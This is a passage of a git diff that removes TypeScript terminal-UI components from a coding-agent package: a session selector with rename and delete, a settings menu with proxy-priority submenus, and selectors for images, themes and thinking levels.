Spacer(1)); - } - this.addChild(content); - this.addChild(new Spacer(1)); - this.addChild(new DynamicBorder((s) => theme.fg("accent", s))); - } - - constructor( - currentSessionsLoader: SessionsLoader, - allSessionsLoader: SessionsLoader, - onSelect: (sessionPath: string) => void, - onCancel: () => void, - onExit: () => void, - requestRender: () => void, - options?: { - renameSession?: ( - sessionPath: string, - currentName: string | undefined, - ) => Promise; - showRenameHint?: boolean; - keybindings?: KeybindingsManager; - }, - currentSessionFilePath?: string, - ) { - super(); - this.keybindings = options?.keybindings ?? KeybindingsManager.create(); - this.currentSessionsLoader = currentSessionsLoader; - this.allSessionsLoader = allSessionsLoader; - this.onCancel = onCancel; - this.requestRender = requestRender; - this.header = new SessionSelectorHeader( - this.scope, - this.sortMode, - this.nameFilter, - this.keybindings, - this.requestRender, - ); - const renameSession = options?.renameSession; - this.renameSession = renameSession; - this.canRename = !!renameSession; - this.header.setShowRenameHint(options?.showRenameHint ?? this.canRename); - - // Create session list (starts empty, will be populated after load) - this.sessionList = new SessionList( - [], - false, - this.sortMode, - this.nameFilter, - this.keybindings, - currentSessionFilePath, - ); - - this.buildBaseLayout(this.sessionList); - - this.renameInput.onSubmit = (value) => { - void this.confirmRename(value); - }; - - // Ensure header status timeouts are cleared when leaving the selector - const clearStatusMessage = () => this.header.setStatusMessage(null); - this.sessionList.onSelect = (sessionPath) => { - clearStatusMessage(); - onSelect(sessionPath); - }; - this.sessionList.onCancel = () => { - clearStatusMessage(); - onCancel(); - }; - this.sessionList.onExit = () => { - clearStatusMessage(); - onExit(); - }; - this.sessionList.onToggleScope = () => this.toggleScope(); - this.sessionList.onToggleSort = () => this.toggleSortMode(); - this.sessionList.onToggleNameFilter = () => this.toggleNameFilter(); - this.sessionList.onRenameSession = (sessionPath) => { - if (!renameSession) return; - if (this.scope === "current" && this.currentLoading) return; - if (this.scope === "all" && this.allLoading) return; - - const sessions = - this.scope === "all" - ? (this.allSessions ?? []) - : (this.currentSessions ?? []); - const session = sessions.find((s) => s.path === sessionPath); - this.enterRenameMode(sessionPath, session?.name); - }; - - // Sync list events to header - this.sessionList.onTogglePath = (showPath) => { - this.header.setShowPath(showPath); - this.requestRender(); - }; - this.sessionList.onDeleteConfirmationChange = (path) => { - this.header.setConfirmingDeletePath(path); - this.requestRender(); - }; - this.sessionList.onError = (msg) => { - this.header.setStatusMessage({ type: "error", message: msg }, 3000); - this.requestRender(); - }; - - // Handle session deletion - this.sessionList.onDeleteSession = async (sessionPath: string) => { - const result = await deleteSessionFile(sessionPath); - - if (result.ok) { - if (this.currentSessions) { - this.currentSessions = this.currentSessions.filter( - (s) => s.path !== sessionPath, - ); - } - if (this.allSessions) { - this.allSessions = this.allSessions.filter( - (s) => s.path !== sessionPath, - ); - } - - const sessions = - this.scope === "all" - ? (this.allSessions ?? []) - : (this.currentSessions ?? []); - const showCwd = this.scope === "all"; - this.sessionList.setSessions(sessions, showCwd); - - const msg = - result.method === "trash" - ? "Session moved to trash" - : "Session deleted"; - this.header.setStatusMessage({ type: "info", message: msg }, 2000); - await this.refreshSessionsAfterMutation(); - } else { - const errorMessage = result.error ?? "Unknown error"; - this.header.setStatusMessage( - { type: "error", message: `Failed to delete: ${errorMessage}` }, - 3000, - ); - } - - this.requestRender(); - }; - - // Start loading current sessions immediately - this.loadCurrentSessions(); - } - - private loadCurrentSessions(): void { - void this.loadScope("current", "initial"); - } - - private enterRenameMode( - sessionPath: string, - currentName: string | undefined, - ): void { - this.mode = "rename"; - this.renameTargetPath = sessionPath; - this.renameInput.setValue(currentName ?? ""); - this.renameInput.focused = true; - - const panel = new Container(); - panel.addChild(new Text(theme.bold("Rename Session"), 1, 0)); - panel.addChild(new Spacer(1)); - panel.addChild(this.renameInput); - panel.addChild(new Spacer(1)); - panel.addChild( - new Text(theme.fg("muted", "Enter to save · Esc/Ctrl+C to cancel"), 1, 0), - ); - - this.buildBaseLayout(panel, { showHeader: false }); - this.requestRender(); - } - - private exitRenameMode(): void { - this.mode = "list"; - this.renameTargetPath = null; - - this.buildBaseLayout(this.sessionList); - - this.requestRender(); - } - - private async confirmRename(value: string): Promise { - const next = value.trim(); - if (!next) return; - const target = this.renameTargetPath; - if (!target) { - this.exitRenameMode(); - return; - } - - // Find current name for callback - const renameSession = this.renameSession; - if (!renameSession) { - this.exitRenameMode(); - return; - } - - try { - await renameSession(target, next); - await this.refreshSessionsAfterMutation(); - } finally { - this.exitRenameMode(); - } - } - - private async loadScope( - scope: SessionScope, - reason: "initial" | "refresh" | "toggle", - ): Promise { - const showCwd = scope === "all"; - - // Mark loading - if (scope === "current") { - this.currentLoading = true; - } else { - this.allLoading = true; - } - - const seq = scope === "all" ? ++this.allLoadSeq : undefined; - this.header.setScope(scope); - this.header.setLoading(true); - this.requestRender(); - - const onProgress = (loaded: number, total: number) => { - if (scope !== this.scope) return; - if (seq !== undefined && seq !== this.allLoadSeq) return; - this.header.setProgress(loaded, total); - this.requestRender(); - }; - - try { - const sessions = await (scope === "current" - ? this.currentSessionsLoader(onProgress) - : this.allSessionsLoader(onProgress)); - - if (scope === "current") { - this.currentSessions = sessions; - this.currentLoading = false; - } else { - this.allSessions = sessions; - this.allLoading = false; - } - - if (scope !== this.scope) return; - if (seq !== undefined && seq !== this.allLoadSeq) return; - - this.header.setLoading(false); - this.sessionList.setSessions(sessions, showCwd); - this.requestRender(); - - if ( - scope === "all" && - sessions.length === 0 && - (this.currentSessions?.length ?? 0) === 0 - ) { - this.onCancel(); - } - } catch (err) { - if (scope === "current") { - this.currentLoading = false; - } else { - this.allLoading = false; - } - - if (scope !== this.scope) return; - if (seq !== undefined && seq !== this.allLoadSeq) return; - - const message = err instanceof Error ? err.message : String(err); - this.header.setLoading(false); - this.header.setStatusMessage( - { type: "error", message: `Failed to load sessions: ${message}` }, - 4000, - ); - - if (reason === "initial") { - this.sessionList.setSessions([], showCwd); - } - this.requestRender(); - } - } - - private toggleSortMode(): void { - // Cycle: threaded -> recent -> relevance -> threaded - this.sortMode = - this.sortMode === "threaded" - ? "recent" - : this.sortMode === "recent" - ? "relevance" - : "threaded"; - this.header.setSortMode(this.sortMode); - this.sessionList.setSortMode(this.sortMode); - this.requestRender(); - } - - private toggleNameFilter(): void { - this.nameFilter = this.nameFilter === "all" ? "named" : "all"; - this.header.setNameFilter(this.nameFilter); - this.sessionList.setNameFilter(this.nameFilter); - this.requestRender(); - } - - private async refreshSessionsAfterMutation(): Promise { - await this.loadScope(this.scope, "refresh"); - } - - private toggleScope(): void { - if (this.scope === "current") { - this.scope = "all"; - this.header.setScope(this.scope); - - if (this.allSessions !== null) { - this.header.setLoading(false); - this.sessionList.setSessions(this.allSessions, true); - this.requestRender(); - return; - } - - if (!this.allLoading) { - void this.loadScope("all", "toggle"); - } - return; - } - - this.scope = "current"; - this.header.setScope(this.scope); - this.header.setLoading(this.currentLoading); - this.sessionList.setSessions(this.currentSessions ?? [], false); - this.requestRender(); - } - - getSessionList(): SessionList { - return this.sessionList; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/settings-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/settings-selector.ts deleted file mode 100644 index 2bd069745..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/settings-selector.ts +++ /dev/null @@ -1,622 +0,0 @@ -import type { ThinkingLevel } from "@singularity-forge/pi-agent-core"; -import type { Transport } from "@singularity-forge/pi-ai"; -import { - Container, - getCapabilities, - type SelectItem, - SelectList, - type SettingItem, - SettingsList, - Spacer, - Text, -} from "@singularity-forge/pi-tui"; -import { PROXY_FAMILY_PRIORITY } from "../../../core/model-registry.js"; -import { - getSelectListTheme, - getSettingsListTheme, - theme, -} from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; - -export const THINKING_DESCRIPTIONS: Record = { - off: "No reasoning", - minimal: "Very brief reasoning (~1k tokens)", - low: "Light reasoning (~2k tokens)", - medium: "Moderate reasoning (~8k tokens)", - high: "Deep reasoning (~16k tokens)", - xhigh: "Maximum reasoning (~32k tokens)", -}; - -export interface SettingsConfig { - autoCompact: boolean; - showImages: boolean; - autoResizeImages: boolean; - blockImages: boolean; - enableSkillCommands: boolean; - steeringMode: "all" | "one-at-a-time"; - followUpMode: "all" | "one-at-a-time"; - transport: Transport; - thinkingLevel: ThinkingLevel; - availableThinkingLevels: ThinkingLevel[]; - currentTheme: string; - availableThemes: string[]; - hideThinkingBlock: boolean; - collapseChangelog: boolean; - doubleEscapeAction: "fork" | "tree" | "none"; - treeFilterMode: "default" | "no-tools" | "user-only" | "labeled-only" | "all"; - showHardwareCursor: boolean; - editorPaddingX: number; - autocompleteMaxVisible: number; - respectGitignoreInPicker: boolean; - quietStartup: boolean; - clearOnShrink: boolean; - timestampFormat: "date-time-iso" | "date-time-us"; - /** Top-preferred provider per model family for proxy resolution. - * Keyed by family prefix (e.g. "gemini-", "claude-"). */ - proxyFamilyProviders: Record; -} - -export interface SettingsCallbacks { - onAutoCompactChange: (enabled: boolean) => void; - onShowImagesChange: (enabled: boolean) => void; - onAutoResizeImagesChange: (enabled: boolean) => void; - onBlockImagesChange: (blocked: boolean) => void; - onEnableSkillCommandsChange: (enabled: boolean) => void; - onSteeringModeChange: (mode: "all" | "one-at-a-time") => void; - onFollowUpModeChange: (mode: "all" | "one-at-a-time") => void; - onTransportChange: (transport: Transport) => void; - onThinkingLevelChange: (level: ThinkingLevel) => void; - onThemeChange: (theme: string) => void; - onThemePreview?: (theme: string) => void; - onHideThinkingBlockChange: (hidden: boolean) => void; - onCollapseChangelogChange: (collapsed: boolean) => void; - onDoubleEscapeActionChange: (action: "fork" | "tree" | "none") => void; - onTreeFilterModeChange: ( - mode: "default" | "no-tools" | "user-only" | "labeled-only" | "all", - ) => void; - onShowHardwareCursorChange: (enabled: boolean) => void; - onEditorPaddingXChange: (padding: number) => void; - onAutocompleteMaxVisibleChange: (maxVisible: number) => void; - onRespectGitignoreInPickerChange: (enabled: boolean) => void; - onQuietStartupChange: (enabled: boolean) => void; - onClearOnShrinkChange: (enabled: boolean) => void; - onTimestampFormatChange: (format: "date-time-iso" | "date-time-us") => void; - onProxyFamilyProviderChange: ( - familyPrefix: string, - preferredProvider: string, - ) => void; - onCancel: () => void; -} - -/** - * A submenu component for selecting from a list of options. - */ -export class SelectSubmenu extends Container { - private selectList: SelectList; - - constructor( - title: string, - description: string, - options: SelectItem[], - currentValue: string, - onSelect: (value: string) => void, - onCancel: () => void, - onSelectionChange?: (value: string) => void, - ) { - super(); - - // Title - this.addChild(new Text(theme.bold(theme.fg("accent", title)), 0, 0)); - - // Description - if (description) { - this.addChild(new Spacer(1)); - this.addChild(new Text(theme.fg("muted", description), 0, 0)); - } - - // Spacer - this.addChild(new Spacer(1)); - - // Select list - this.selectList = new SelectList( - options, - Math.min(options.length, 10), - getSelectListTheme(), - ); - - // Pre-select current value - const currentIndex = options.findIndex((o) => o.value === currentValue); - if (currentIndex !== -1) { - this.selectList.setSelectedIndex(currentIndex); - } - - this.selectList.onSelect = (item) => { - onSelect(item.value); - }; - - this.selectList.onCancel = onCancel; - - if (onSelectionChange) { - this.selectList.onSelectionChange = (item) => { - onSelectionChange(item.value); - }; - } - - this.addChild(this.selectList); - - // Hint - this.addChild(new Spacer(1)); - this.addChild( - new Text(theme.fg("dim", " Enter to select · Esc to go back"), 0, 0), - ); - } - - handleInput(data: string): void { - this.selectList.handleInput(data); - } -} - -/** - * Two-level submenu for proxy provider priority: - * Level 1 — select a model family - * Level 2 — select preferred provider for that family - * - * Selecting a provider calls onChange(familyPrefix, provider) and closes via onDone. - * Pressing Escape on level 2 returns to level 1; Escape on level 1 calls onCancel. - */ -export class ProxyPrioritySubmenu extends Container { - private selectList!: SelectList; - - constructor( - private proxyFamilyProviders: Record, - private onChange: (familyPrefix: string, provider: string) => void, - _onDone: () => void, - private onCancel: () => void, - ) { - super(); - this.showFamilyList(); - } - - private clearAndRebuild( - title: string, - description: string, - items: SelectItem[], - onSelect: (item: SelectItem) => void, - onEscape: () => void, - ): void { - this.clear(); - this.addChild(new Text(theme.bold(theme.fg("accent", title)), 0, 0)); - if (description) { - this.addChild(new Spacer(1)); - this.addChild(new Text(theme.fg("muted", description), 0, 0)); - } - this.addChild(new Spacer(1)); - this.selectList = new SelectList( - items, - Math.min(items.length, 12), - getSelectListTheme(), - ); - this.selectList.onSelect = onSelect; - this.selectList.onCancel = onEscape; - this.addChild(this.selectList); - this.addChild(new Spacer(1)); - this.addChild( - new Text(theme.fg("dim", " Enter to select · Esc to go back"), 0, 0), - ); - } - - private showFamilyList(): void { - const families = PROXY_FAMILY_PRIORITY.filter( - (r) => r.providers.length > 0, - ); - const familyItems: SelectItem[] = families.map((r) => { - const current = this.proxyFamilyProviders[r.prefix] ?? r.providers[0]; - return { - value: r.prefix, - label: r.prefix.replace(/-+$/i, ""), - description: `Current: ${current}`, - }; - }); - this.clearAndRebuild( - "Proxy Priorities", - "Select a model family to configure its preferred provider", - familyItems, - (item) => this.showProviderList(item.value), - this.onCancel, - ); - } - - private showProviderList(familyPrefix: string): void { - const rule = PROXY_FAMILY_PRIORITY.find((r) => r.prefix === familyPrefix); - if (!rule) return; - const current = - this.proxyFamilyProviders[familyPrefix] ?? rule.providers[0]; - const providerItems: SelectItem[] = rule.providers.map((p) => ({ - value: p, - label: p, - description: p === current ? "(current)" : "", - })); - this.clearAndRebuild( - `${familyPrefix.replace(/-+$/i, "")} — choose provider`, - `Preferred provider for ${familyPrefix}* proxy requests`, - providerItems, - (item) => { - this.proxyFamilyProviders = { - ...this.proxyFamilyProviders, - [familyPrefix]: item.value, - }; - this.onChange(familyPrefix, item.value); - this.showFamilyList(); // return to family list after selection - }, - () => this.showFamilyList(), // Esc → back to family list - ); - // Pre-select current provider - const currentIndex = providerItems.findIndex((p) => p.value === current); - if (currentIndex !== -1) this.selectList.setSelectedIndex(currentIndex); - } - - handleInput(data: string): void { - this.selectList.handleInput(data); - } -} - -/** - * Main settings selector component. - */ -export class SettingsSelectorComponent extends Container { - private settingsList: SettingsList; - - constructor(config: SettingsConfig, callbacks: SettingsCallbacks) { - super(); - - const supportsImages = getCapabilities().images; - - const items: SettingItem[] = [ - { - id: "autocompact", - label: "Auto-compact", - description: "Automatically compact context when it gets too large", - currentValue: config.autoCompact ? "true" : "false", - values: ["true", "false"], - }, - { - id: "steering-mode", - label: "Steering mode", - description: - "Enter while streaming queues steering messages. 'one-at-a-time': deliver one, wait for response. 'all': deliver all at once.", - currentValue: config.steeringMode, - values: ["one-at-a-time", "all"], - }, - { - id: "follow-up-mode", - label: "Follow-up mode", - description: `${process.platform === "darwin" ? "⌥Enter" : "Alt+Enter"} queues follow-up messages until agent stops. 'one-at-a-time': deliver one, wait for response. 'all': deliver all at once.`, - currentValue: config.followUpMode, - values: ["one-at-a-time", "all"], - }, - { - id: "transport", - label: "Transport", - description: - "Preferred transport for providers that support multiple transports", - currentValue: config.transport, - values: ["sse", "websocket", "auto"], - }, - { - id: "hide-thinking", - label: "Hide thinking", - description: "Hide thinking blocks in assistant responses", - currentValue: config.hideThinkingBlock ? "true" : "false", - values: ["true", "false"], - }, - { - id: "collapse-changelog", - label: "Collapse changelog", - description: "Show condensed changelog after updates", - currentValue: config.collapseChangelog ? "true" : "false", - values: ["true", "false"], - }, - { - id: "quiet-startup", - label: "Quiet startup", - description: "Disable verbose printing at startup", - currentValue: config.quietStartup ? "true" : "false", - values: ["true", "false"], - }, - { - id: "double-escape-action", - label: "Double-escape action", - description: "Action when pressing Escape twice with empty editor", - currentValue: config.doubleEscapeAction, - values: ["tree", "fork", "none"], - }, - { - id: "tree-filter-mode", - label: "Tree filter mode", - description: "Default filter when opening /tree", - currentValue: config.treeFilterMode, - values: ["default", "no-tools", "user-only", "labeled-only", "all"], - }, - { - id: "thinking", - label: "Thinking level", - description: "Reasoning depth for thinking-capable models", - currentValue: config.thinkingLevel, - submenu: (currentValue, done) => - new SelectSubmenu( - "Thinking Level", - "Select reasoning depth for thinking-capable models", - config.availableThinkingLevels.map((level) => ({ - value: level, - label: level, - description: THINKING_DESCRIPTIONS[level], - })), - currentValue, - (value) => { - callbacks.onThinkingLevelChange(value as ThinkingLevel); - done(value); - }, - () => done(), - ), - }, - { - id: "theme", - label: "Theme", - description: "Color theme for the interface", - currentValue: config.currentTheme, - submenu: (currentValue, done) => - new SelectSubmenu( - "Theme", - "Select color theme", - config.availableThemes.map((t) => ({ - value: t, - label: t, - })), - currentValue, - (value) => { - callbacks.onThemeChange(value); - done(value); - }, - () => { - // Restore original theme on cancel - callbacks.onThemePreview?.(currentValue); - done(); - }, - (value) => { - // Preview theme on selection change - callbacks.onThemePreview?.(value); - }, - ), - }, - ]; - - // Only show image toggle if terminal supports it - if (supportsImages) { - // Insert after autocompact - items.splice(1, 0, { - id: "show-images", - label: "Show images", - description: "Render images inline in terminal", - currentValue: config.showImages ? "true" : "false", - values: ["true", "false"], - }); - } - - // Image auto-resize toggle (always available, affects both attached and read images) - items.splice(supportsImages ? 2 : 1, 0, { - id: "auto-resize-images", - label: "Auto-resize images", - description: - "Resize large images to 2000x2000 max for better model compatibility", - currentValue: config.autoResizeImages ? "true" : "false", - values: ["true", "false"], - }); - - // Block images toggle (always available, insert after auto-resize-images) - const autoResizeIndex = items.findIndex( - (item) => item.id === "auto-resize-images", - ); - items.splice(autoResizeIndex + 1, 0, { - id: "block-images", - label: "Block images", - description: "Prevent images from being sent to LLM providers", - currentValue: config.blockImages ? "true" : "false", - values: ["true", "false"], - }); - - // Skill commands toggle (insert after block-images) - const blockImagesIndex = items.findIndex( - (item) => item.id === "block-images", - ); - items.splice(blockImagesIndex + 1, 0, { - id: "skill-commands", - label: "Skill commands", - description: "Register skills as /skill:name commands", - currentValue: config.enableSkillCommands ? "true" : "false", - values: ["true", "false"], - }); - - // Hardware cursor toggle (insert after skill-commands) - const skillCommandsIndex = items.findIndex( - (item) => item.id === "skill-commands", - ); - items.splice(skillCommandsIndex + 1, 0, { - id: "show-hardware-cursor", - label: "Show hardware cursor", - description: - "Show the terminal cursor while still positioning it for IME support", - currentValue: config.showHardwareCursor ? "true" : "false", - values: ["true", "false"], - }); - - // Editor padding toggle (insert after show-hardware-cursor) - const hardwareCursorIndex = items.findIndex( - (item) => item.id === "show-hardware-cursor", - ); - items.splice(hardwareCursorIndex + 1, 0, { - id: "editor-padding", - label: "Editor padding", - description: "Horizontal padding for input editor (0-3)", - currentValue: String(config.editorPaddingX), - values: ["0", "1", "2", "3"], - }); - - // Autocomplete max visible toggle (insert after editor-padding) - const editorPaddingIndex = items.findIndex( - (item) => item.id === "editor-padding", - ); - items.splice(editorPaddingIndex + 1, 0, { - id: "autocomplete-max-visible", - label: "Autocomplete max items", - description: "Max visible items in autocomplete dropdown (3-20)", - currentValue: String(config.autocompleteMaxVisible), - values: ["3", "5", "7", "10", "15", "20"], - }); - - // Clear on shrink toggle (insert after autocomplete-max-visible) - const autocompleteIndex = items.findIndex( - (item) => item.id === "autocomplete-max-visible", - ); - items.splice(autocompleteIndex + 1, 0, { - id: "clear-on-shrink", - label: "Clear on shrink", - description: "Clear empty rows when content shrinks (may cause flicker)", - currentValue: config.clearOnShrink ? "true" : "false", - values: ["true", "false"], - }); - - // Respect .gitignore in file picker toggle (insert after clear-on-shrink) - const clearOnShrinkIndex = items.findIndex( - (item) => item.id === "clear-on-shrink", - ); - items.splice(clearOnShrinkIndex + 1, 0, { - id: "respect-gitignore-in-picker", - label: "Respect .gitignore in file picker", - description: "When false, @ file picker shows gitignored files too", - currentValue: config.respectGitignoreInPicker ? "true" : "false", - values: ["true", "false"], - }); - - // Timestamp format (insert after respect-gitignore-in-picker) - const gitignoreIndex = items.findIndex( - (item) => item.id === "respect-gitignore-in-picker", - ); - items.splice(gitignoreIndex + 1, 0, { - id: "timestamp-format", - label: "Timestamp format", - description: "Date/time format for message timestamps", - currentValue: config.timestampFormat, - values: ["date-time-iso", "date-time-us"], - }); - - // Single entry that opens a two-level submenu: family → provider - const timestampIndex = items.findIndex( - (item) => item.id === "timestamp-format", - ); - items.splice(timestampIndex + 1, 0, { - id: "proxy-priorities", - label: "Proxy priorities", - description: - "Configure preferred provider per model family for proxy requests", - currentValue: "", - values: [""], - submenu: (_currentValue, done) => - new ProxyPrioritySubmenu( - config.proxyFamilyProviders, - (familyPrefix, provider) => { - callbacks.onProxyFamilyProviderChange(familyPrefix, provider); - }, - () => done(), - () => done(), - ), - }); - - // Add borders - this.addChild(new DynamicBorder()); - - this.settingsList = new SettingsList( - items, - 10, - getSettingsListTheme(), - (id, newValue) => { - switch (id) { - case "autocompact": - callbacks.onAutoCompactChange(newValue === "true"); - break; - case "show-images": - callbacks.onShowImagesChange(newValue === "true"); - break; - case "auto-resize-images": - callbacks.onAutoResizeImagesChange(newValue === "true"); - break; - case "block-images": - callbacks.onBlockImagesChange(newValue === "true"); - break; - case "skill-commands": - callbacks.onEnableSkillCommandsChange(newValue === "true"); - break; - case "steering-mode": - callbacks.onSteeringModeChange(newValue as "all" | "one-at-a-time"); - break; - case "follow-up-mode": - callbacks.onFollowUpModeChange(newValue as "all" | "one-at-a-time"); - break; - case "transport": - callbacks.onTransportChange(newValue as Transport); - break; - case "hide-thinking": - callbacks.onHideThinkingBlockChange(newValue === "true"); - break; - case "collapse-changelog": - callbacks.onCollapseChangelogChange(newValue === "true"); - break; - case "quiet-startup": - callbacks.onQuietStartupChange(newValue === "true"); - break; - case "double-escape-action": - callbacks.onDoubleEscapeActionChange(newValue as "fork" | "tree"); - break; - case "tree-filter-mode": - callbacks.onTreeFilterModeChange( - newValue as - | "default" - | "no-tools" - | "user-only" - | "labeled-only" - | "all", - ); - break; - case "show-hardware-cursor": - callbacks.onShowHardwareCursorChange(newValue === "true"); - break; - case "editor-padding": - callbacks.onEditorPaddingXChange(parseInt(newValue, 10)); - break; - case "autocomplete-max-visible": - callbacks.onAutocompleteMaxVisibleChange(parseInt(newValue, 10)); - break; - case "clear-on-shrink": - callbacks.onClearOnShrinkChange(newValue === "true"); - break; - case "respect-gitignore-in-picker": - callbacks.onRespectGitignoreInPickerChange(newValue === "true"); - break; - case "timestamp-format": - callbacks.onTimestampFormatChange( - newValue as "date-time-iso" | "date-time-us", - ); - break; - } - }, - callbacks.onCancel, - { enableSearch: true }, - ); - - this.addChild(this.settingsList); - this.addChild(new DynamicBorder()); - } - - getSettingsList(): SettingsList { - return this.settingsList; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/show-images-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/show-images-selector.ts deleted file mode 100644 index 1fc54b2ae..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/show-images-selector.ts +++ /dev/null @@ -1,61 +0,0 @@ -import { - Container, - type SelectItem, - SelectList, -} from "@singularity-forge/pi-tui"; -import { getSelectListTheme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; - -/** - * Component that renders a show images selector with borders - */ -export class ShowImagesSelectorComponent extends Container { - private selectList: SelectList; - - constructor( - currentValue: boolean, - onSelect: (show: boolean) => void, - onCancel: () => void, - ) { - super(); - - const items: SelectItem[] = [ - { - value: "yes", - label: "Yes", - description: "Show images inline in terminal", - }, - { - value: "no", - label: "No", - description: "Show text placeholder instead", - }, - ]; - - // Add top border - this.addChild(new DynamicBorder()); - - // Create selector - this.selectList = new SelectList(items, 5, getSelectListTheme()); - - // Preselect current value - this.selectList.setSelectedIndex(currentValue ? 0 : 1); - - this.selectList.onSelect = (item) => { - onSelect(item.value === "yes"); - }; - - this.selectList.onCancel = () => { - onCancel(); - }; - - this.addChild(this.selectList); - - // Add bottom border - this.addChild(new DynamicBorder()); - } - - getSelectList(): SelectList { - return this.selectList; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/skill-invocation-message.ts b/packages/pi-coding-agent/src/modes/interactive/components/skill-invocation-message.ts deleted file mode 100644 index 49da5dc0d..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/skill-invocation-message.ts +++ /dev/null @@ -1,69 +0,0 @@ -import { - Box, - Markdown, - type MarkdownTheme, - Text, -} from "@singularity-forge/pi-tui"; -import type { ParsedSkillBlock } from "../../../core/agent-session.js"; -import { getMarkdownTheme, theme } from "../theme/theme.js"; -import { editorKey } from "./keybinding-hints.js"; - -/** - * Component that renders a skill invocation message with collapsed/expanded state. - * Uses same background color as custom messages for visual consistency. - * Only renders the skill block itself - user message is rendered separately. - */ -export class SkillInvocationMessageComponent extends Box { - private expanded = false; - private skillBlock: ParsedSkillBlock; - private markdownTheme: MarkdownTheme; - - constructor( - skillBlock: ParsedSkillBlock, - markdownTheme: MarkdownTheme = getMarkdownTheme(), - ) { - super(1, 1, (t) => theme.bg("customMessageBg", t)); - this.skillBlock = skillBlock; - this.markdownTheme = markdownTheme; - this.updateDisplay(); - } - - setExpanded(expanded: boolean): void { - this.expanded = expanded; - this.updateDisplay(); - } - - override invalidate(): void { - super.invalidate(); - this.updateDisplay(); - } - - private updateDisplay(): void { - this.clear(); - - if (this.expanded) { - // Expanded: label + skill name header + full content - const label = theme.fg("customMessageLabel", theme.bold("[skill]")); - this.addChild(new Text(label, 0, 0)); - const header = `**${this.skillBlock.name}**\n\n`; - this.addChild( - new Markdown( - header + this.skillBlock.content, - 0, - 0, - this.markdownTheme, - { - color: (text: string) => theme.fg("customMessageText", text), - }, - ), - ); - } else { - // Collapsed: single line - [skill] name (hint to expand) - const line = - theme.fg("customMessageLabel", theme.bold("[skill]") + " ") + - theme.fg("customMessageText", this.skillBlock.name) + - theme.fg("dim", ` (${editorKey("expandTools")} to expand)`); - this.addChild(new Text(line, 0, 0)); - } - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/theme-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/theme-selector.ts deleted file mode 100644 index 3f1fb6db3..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/theme-selector.ts +++ /dev/null @@ -1,66 +0,0 @@ -import { - Container, - type SelectItem, - SelectList, -} from "@singularity-forge/pi-tui"; -import { getAvailableThemes, getSelectListTheme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; - -/** - * Component that renders a theme selector - */ -export class ThemeSelectorComponent extends Container { - private selectList: SelectList; - private onPreview: (themeName: string) => void; - - constructor( - currentTheme: string, - onSelect: (themeName: string) => void, - onCancel: () => void, - onPreview: (themeName: string) => void, - ) { - super(); - this.onPreview = onPreview; - - // Get available themes and create select items - const themes = getAvailableThemes(); - const themeItems: SelectItem[] = themes.map((name) => ({ - value: name, - label: name, - description: name === currentTheme ? "(current)" : undefined, - })); - - // Add top border - this.addChild(new DynamicBorder()); - - // Create selector - this.selectList = new SelectList(themeItems, 10, getSelectListTheme()); - - // Preselect current theme - const currentIndex = themes.indexOf(currentTheme); - if (currentIndex !== -1) { - this.selectList.setSelectedIndex(currentIndex); - } - - this.selectList.onSelect = (item) => { - onSelect(item.value); - }; - - this.selectList.onCancel = () => { - onCancel(); - }; - - this.selectList.onSelectionChange = (item) => { - this.onPreview(item.value); - }; - - this.addChild(this.selectList); - - // Add bottom border - this.addChild(new DynamicBorder()); - } - - getSelectList(): SelectList { - return this.selectList; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/thinking-selector.ts b/packages/pi-coding-agent/src/modes/interactive/components/thinking-selector.ts deleted file mode 100644 index cbf8cc72d..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/thinking-selector.ts +++ /dev/null @@ -1,74 +0,0 @@ -import type { ThinkingLevel } from "@singularity-forge/pi-agent-core"; -import { - Container, - type SelectItem, - SelectList, -} from "@singularity-forge/pi-tui"; -import { getSelectListTheme } from "../theme/theme.js"; -import { DynamicBorder } from "./dynamic-border.js"; - -const LEVEL_DESCRIPTIONS: Record = { - off: "No reasoning", - minimal: "Very brief reasoning (~1k tokens)", - low: "Light reasoning (~2k tokens)", - medium: "Moderate reasoning (~8k tokens)", - high: "Deep reasoning (~16k tokens)", - xhigh: "Maximum reasoning (~32k tokens)", -}; - -/** - * Component that renders a thinking level selector with borders - */ -export class ThinkingSelectorComponent extends Container { - private selectList: SelectList; - - constructor( - currentLevel: ThinkingLevel, - availableLevels: ThinkingLevel[], - onSelect: (level: ThinkingLevel) => void, - onCancel: () => void, - ) { - super(); - - const thinkingLevels: SelectItem[] = availableLevels.map((level) => ({ - value: level, - label: level, - description: LEVEL_DESCRIPTIONS[level], - })); - - // Add top border - this.addChild(new DynamicBorder()); - - // Create selector - this.selectList = new SelectList( - thinkingLevels, - thinkingLevels.length, - getSelectListTheme(), - ); - - // Preselect current level - const currentIndex = thinkingLevels.findIndex( - (item) => item.value === currentLevel, - ); - if (currentIndex !== -1) { - this.selectList.setSelectedIndex(currentIndex); - } - - this.selectList.onSelect = (item) => { - onSelect(item.value as ThinkingLevel); - }; - - this.selectList.onCancel = () => { - onCancel(); - }; - - this.addChild(this.selectList); - - // Add bottom border - this.addChild(new DynamicBorder()); - } - - getSelectList(): SelectList { - return this.selectList; - } -} diff --git a/packages/pi-coding-agent/src/modes/interactive/components/timestamp.ts b/packages/pi-coding-agent/src/modes/interactive/components/timestamp.ts deleted file mode 100644 index e71ec2257..000000000 --- a/packages/pi-coding-agent/src/modes/interactive/components/timestamp.ts +++ /dev/null @@ -1,51 +0,0 @@ -/** - * Timestamp formatting for message display. - * - * Formats: - * - "time-date-iso": 10:34 2025-03-24 (default) - * - "date-time-iso": 2025-03-24 10:34 - * - "time-date-us": 10:34 AM 03/24/2025 - * - "date-time-us": 03/24/2025 10:34 AM - */ - -export type TimestampFormat = "date-time-iso" | "date-time-us"; - -function pad2(n: number): string { - return n.toString().padStart(2, "0"); -} - -function isoDate(d: 